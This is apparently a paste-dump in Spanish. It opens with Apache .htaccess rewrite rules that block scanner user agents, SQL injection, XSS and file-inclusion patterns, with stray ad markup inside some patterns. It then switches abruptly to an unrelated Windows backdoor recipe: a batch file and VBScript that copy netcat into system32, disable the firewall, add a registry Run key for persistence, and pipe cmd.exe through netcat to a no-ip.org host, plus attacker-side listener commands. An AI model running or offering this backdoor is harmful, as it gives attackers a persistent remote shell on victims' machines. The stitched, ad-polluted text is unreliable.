#Evitar escaneos, manipulación e inyeccion SQL (SQL, XSS, etc)
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(-|\.|') [OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)(<|>|%3C|<span class="IL_AD" id="IL_AD1">%3E</span>)(.*) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget)(.*) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)(libwww-perl|libwwwperl|snoopy|curl|wget|winhttp|python|nikto|scan|clshttp|archiver|loader|<span class="IL_AD" id="IL_AD3">email</span>|harvest|fetch|extract|grab|miner|suck|reaper|leach|havij)(.*) [NC,OR]
RewriteCond %{REQUEST_URI} ^(/,|/;|/<|/>|/'|/`|/%2C|/%3C|/%3E|/%27|/////) [NC,OR]
RewriteCond %{HTTP_REFERER} ^(.*)(%00|%08|%09|%0A|%0B|%0C|%0D|%0E|%0F|%2C|<|>|'|%3C|%3E|%26%23|%27|%60)(.*) [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%00|%08|%09|%0A|%0B|%0C|%0D|%0E|%0F|%2C|%3C|%3E|%27|%26%23|%60)(.*) [NC,OR]
RewriteCond %{HTTP_COOKIE} ^(.*)(<|>|'|%3C|%3E|%27)(.*) [NC]
RewriteRule ^(.*)$ index.php [NC]
 
#Evita manipulacion en la URL
RewriteCond %{REQUEST_METHOD} ^(HEAD|<span class="IL_AD" id="IL_AD11">TRACE</span>|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|%0A|%0D).* [NC,OR]
RewriteCond %{HTTP_REFERER} ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]
RewriteRule ^(.*)$ index.php [NC]
#Complica los ataques Remote File include y Local File include
 
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* – [F]

nc.exe 

copy C:\Extracted\nc.exe C:\WINDOWS\system32\nc.exe

start C:\Extracted\data.exe

Set objFirewall = CreateObject("HNetCfg.FwMgr") 
  Set objPolicy = objFirewall.LocalPolicy.CurrentProfile 

  objPolicy.FirewallEnabled = false 

start C:\Extracted\desa.vbs

nc loquesea.no-ip.org 80 | cmd.exe | nc loquesea.no-ip.org 443

@echo off
start C:\Extracted\desa.vbs
copy C:\Extracted\nc.exe C:\WINDOWS\system32\nc.exe
reg add hklm\software\microsoft\windows\currentversion\run /v wind /t reg_sz /d C:\Extracted\vamos.exe /f 
nc loquesea.no-ip.org 80 | cmd.exe | nc loquesea.no-ip.org 443

Set objFirewall = CreateObject("HNetCfg.FwMgr") 
  Set objPolicy = objFirewall.LocalPolicy.CurrentProfile 

  objPolicy.FirewallEnabled = false 

nc -vv -l -p 80

nc -vv -l -p 443

nc  ip de tu maquina local 80 | cmd.exe | nc ip de tu maquina local 443

nc -vv -l -p 80

nc -vv -l -p 443